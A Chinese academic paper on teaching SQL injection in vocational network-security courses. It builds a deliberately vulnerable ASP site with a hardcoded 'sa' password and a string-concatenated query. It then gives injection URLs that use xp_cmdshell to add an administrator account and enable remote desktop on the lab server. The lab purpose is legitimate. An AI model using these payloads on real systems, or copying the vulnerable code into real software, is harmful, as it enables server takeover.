曾煌存
(广东外语艺术职业学院 广东 广州 510640)
高职院校SQL注入攻击实验环境搭建及使用研究*
曾煌存
(广东外语艺术职业学院 广东 广州 510640)
SQL注入攻击是黑客攻击最常用的手段之一,其危害极大。在高职院校的网络安全课中,使学生掌握SQL注入攻击和相应的防范措施是一个教学难点。如果能够搭建一个简单的具有SQL注入漏洞的实验环境,让学生在这个实验环境中进行模拟攻击,对于学生更好地掌握SQL注入攻击的原理和具体实施步骤具有很大的好处,进而能让学生更好地掌握相应的安全防范措施。总结SQL注入攻击实验环境搭建及使用实践,旨在对高职院校的SQL注入攻击与防范实训教学起到一定的促进作用。
高职院校;SQL注入攻击;实验环境;网络安全
SQL注入攻击是黑客攻击最常用的手段之一,其危害极大。一些不具备很多网络安全技术的“脚本小子”,使用一些傻瓜式SQL注入攻击工具,就可能攻陷网站,进而控制服务器。
高职院校的 《网络安全与防范》课程,具有培养学生掌握较高网络安全防范技能的任务。因此,必须使学生掌握好SQL注入攻击的防范措施。而为了真正掌握SQL注入攻击的防范措施,又必须透彻理解SQL注入攻击的原理和具体实施步骤。经验表明,这是一个教学难点,因为它需要精心构造SQL语句,来完成信息的查询、语句的执行等。
我们开展了一项教学改革,旨在提高《网络安全与防范》课程的教学效果。该教学改革中的一项内容,就是研究如何更好地开展SQL注入攻击的教学。我们认为,如果能够搭建一个简单的具有SQL注入漏洞的动态网站,让学生对这个网站进行模拟攻击,对于学生更好地掌握SQL注入攻击的原理和具体实施步骤具有很大好处,也能让他们更好地掌握相应的安全防范措施。
我们使用 VMware WorkStation虚拟机软件安装了两台虚拟机,一台虚拟机安装的是Windows Server 2003操作系统,用于模拟被攻击的服务器,IP 地址为192.168.248.132;另一台虚拟机安装的是Windows XP操作系统,用于模拟黑客使用的攻击机,IP地址为 192.168.248.133。 在 Windows Server 2003虚拟机上,搭建了一个使用ASP+SQL Server 2000开发的简单的动态网站。我们设计该动态网站的思路是:该网站具有SQL注入漏洞,能满足SQL注入攻击的实验要求;该网站应该尽量简单,以便于学生理解、分析和掌握。
按照以上设计思路,我们开发了一个简单的名为testweb的动态网站。该动态网站需要访问一个名为testweb的数据库,该数据库包含一个表:tblNews。tblNews用来保存新闻的标题和内容,初始时在这个表中输入了一些测试用的数据。它的具体结构如表1所示。
表1 tblNews表包含的测试数据结构表
该网站包括以下三个页面:conn.asp、news.asp、displayNews.asp。其中 conn.asp用于保存与 SQL Server 2000数据库服务器的连接信息;news.asp用于读取数据库中的新闻记录,显示所有新闻的标题,并且将这些标题以超链接的形式显示。当单击某个新闻的标题后,即可以进入形如displayNews. asp?id=xxx的页面,看到新闻的具体内容(其中“xxx”表示某条新闻在tblNews表中ID字段的值)。设置该网站的默认页面为news.asp。
conn.asp的代码如下所示:
<%
ConstSqlDatabaseName= " testweb"
Const SqlPassword = " michaeljordan"
Const SqlUsername="sa"
Const SqlLocalName="(local)"
dim ConnStr
ConnStr = "Provider = Sqloledb;User ID = " & SqlUsername&";Password="& SqlPassword&";Initial Catalog=" & SqlDatabaseName & ";Data Source="&SqlLocalName&";"
news.asp的代码如下所示:
<!--#include file="conn.asp" -->
<%
Dim conn
Set conn=Server.CreateObject("ADODB.Connection")
conn.open ConnStr
dim strSql
strSql = "select * from tblNews"
dim rs
set rs=conn.Execute(strSql)
dim newsID
response.Write("<html>")
response.Write("<body>")
response.Write("<table>")
while not rs.EOF
response.Write("<tr>")
response.Write("<td>")
newsID=rs("ID")
response.Write("<a href='displayNews.asp?id="&newsID&" '>"&rs("title")&"</a>")
response.Write("</td>")
response.Write("</tr>")
rs.MoveNext
wend
response.Write("</table>")
response.Write("</body>")
response.Write("</html>")
rs.close()
conn.close
set rs=nothing
set conn=nothing
%>
displayNews.asp的代码如下所示:
<!--#include file="conn.asp" -->
<%
Dim conn
Set conn=Server.CreateObject("ADODB.Connection")
conn.open ConnStr
dim newsID
newsID=request("id")
dim strSql
strSql="select*from tblNews where ID="&newsID
dim rs
set rs=conn.Execute(strSql)
response.Write(rs("content"))
rs.close()
conn.close
set rs=nothing
set conn=nothing
%
从以上三个页面的具体代码可以看出,我们所设计的动态网站具有简单,易于理解、分析和掌握的优点。
同时页面 displayNews.asp有SQL注入漏洞,可以满足SQL注入攻击的实训需要,其具有SQL注入漏洞的具体语句为:strSql="select *from tblNewswhereID="& newsID,该语句根据某条新闻的ID查询tblNews表的内容。我们可以在形如displayNews.asp?id=xxx的地址后面加入精心构造的语句,从而执行特定的SQL语句,控制服务器。
如上所述,我们开发的动态网站testweb具有SQL注入漏洞,下面我们通过具体的入侵步骤来展示该SQL注入攻击实验环境的使用。(以下攻击步骤参考了相关网络安全书籍的内容。)
(一)判断网站是否有SQL注入漏洞
可以通过在displayNews.asp? id=1后加上 “’”、“and 1=1”和“and 1=2”等方法来判断网站是否有SQL注入漏洞。如在地址栏输入 :http://192.168.248.132/testweb/ displayNews.asp?id=1’ (1)
页面返回如下错误信息:
MicrosoftOLE DB Provider for SQL Server错误 '80040e14'
字符串 ''之前有未闭合的引号。
/testweb/displayNews.asp,行 13
从以上提示信息可以看出,数据库服务器为SQL Server。(1)的原理是:正常的SQL语句为select *from tblNews whereID=1,而(1)导致SQL语句成为:select* from tblNews where ID=1’,这样会使得单引号没有闭合而出错。
在地址栏输入:http://192.168. 248.132/testweb/displayNews.asp? id=1 and 1=1 (2)
返回正常页面。而在地址栏输入:http://192.168.248.132/testweb/displayNews.asp?id=1 and 1=2(3)
返回的错误信息是:
ADODB.Field错误'80020009'
BOF或 EOF中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/testweb/displayNews.asp,行 0
(2)导致 SQL语句成为:select*from tblNews where ID=1 and 1=1,因为1=1为永真式,所以不影响原来的查询结果,返回正常页面。而(3)导致SQL语句成为:select*from tblNews where ID=1 and 1=2,因为1=2为永假式,所以查询结果为空,而程序中没有对此进行处理,所以导致出现错误提示信息。
通过以上测试,可以明确地知道网站存在SQL注入漏洞,而且数据库服务器为SQL Server。
(二)查找是否有xp_cmdshell扩展存储过程
在地址栏输入:http://192.168. 248.132/testweb/displayNews.asp?id= 1 and exists(select*from master. dbo.sysobjects where name=’xp_ cmdshell’)
页面返回正常,从而知道master.dbo.sysobjects表中存在扩展过程 xp_cmdshell。通过执行xp_cmdshell存储过程可以实现添加用户、将用户添加到管理员组、开启远程终端连接等许多操作。
(三)通过xp_cmdshell添加系统管理员账户
在地址栏输入:http://192.168. 248.132/testweb/displayNews.asp?id= 1;exec master..xp_cmdshell‘net user test test/add’ (4)
页面返回正常。执行该语句后,可以添加一个名为test,密码也为test的账户。(4)的原理是:通过xp_cmdshell扩展存储过程,执行net user命令,实现添加账户的操作。
在地址栏输入:http://192.168. 248.132/testweb/displayNews.asp?id= 1;exec master..xp_cmdshell‘net localgroup administrators test/add’
页面返回正常。执行该语句后,可以将账户test添加到系统管理员组。
(四)开启目标计算机的远程终端连接
在地址栏输入:http://192.168. 248.132/testweb/displayNews.asp?id= 1;exec master..xp_cmdshell‘reg add“HKLMSystemCurrentControl-SetControlTerminal Server”/v fDeny TSConnections/t RE G_DWORD/d 0/f’ (5)
页面返回正常。执行完后,可以开启目标计算机的远程终端连接。(5)的原理是:通过 xp_cmdshell扩展存储过程,执行reg add语句,完成修改注册表,开启远程终端连接的操作。执行完以上步骤之后,即可以使用新建的test账号远程登录目标计算机192.168.248.132。
为了使学生掌握SQL注入攻击的原理、具体实施步骤和相应的防范措施,必须搭建实验环境让他们演练SQL注入攻击的实施步骤。为此,我们搭建了一个ASP+SQL Server 2000环境下的SQL Server注入攻击实验环境。我们没有使用Dvbbs等现成的动态网站,因为这些动态网站功能较齐全,但代码很复杂,不利于初学者理解、分析和掌握。我们设计的动态网站具有简单,易于学生理解、分析和掌握的优点。我们演示了在该实验环境中进行SQL注入攻击,判断是否存在SQL注入漏洞,判断数据库服务器是否支持xp_cmdshell扩展过程,使用xp_cmdshell添加系统管理员账号、开启远程终端连接、使用攻击机远程登录目标计算机等操作。这表明使用我们搭建的简单的SQL注入攻击实验环境,可以方便地进行SQL注入攻击演练。这对提高学生的学习兴趣,掌握SQL注入攻击的原理和具体的实施步骤,提高网络安全防护意识等都具有很大的好处。
同时,利用该实验环境,或者对该实验环境稍微进行扩展,我们还可以进行更多的SQL注入攻击演练,如猜解数据库、表、字段的数目、字段的名称、字段的内容等等。
我们的教学经验表明,通过使用这个简单的实验环境,教学效果能得到明显的提升。
[1]肖遥.大中型网络入侵要案直击与防御[M].北京:电子工业出版社,2011.
[2]朱锡华,刘月铧,侯伟.暗战亮剑——黑客渗透与防御全程实录 [M].北京:人民邮电出版社,2010.
[3]武新华,陈艳艳,王英英.矛与盾:黑客攻防与脚本编程[M].北京:机械工业出版社,2010.
G712
A
1672-5727(2013)12-0168-03
曾煌存,硕士,广东外语艺术职业学院讲师,研究方向为网络安全技术。
广东外语艺术职业学院2010年度院级科研课题《〈网络安全与防范〉课程改革的研究》(课题编号:2010G15)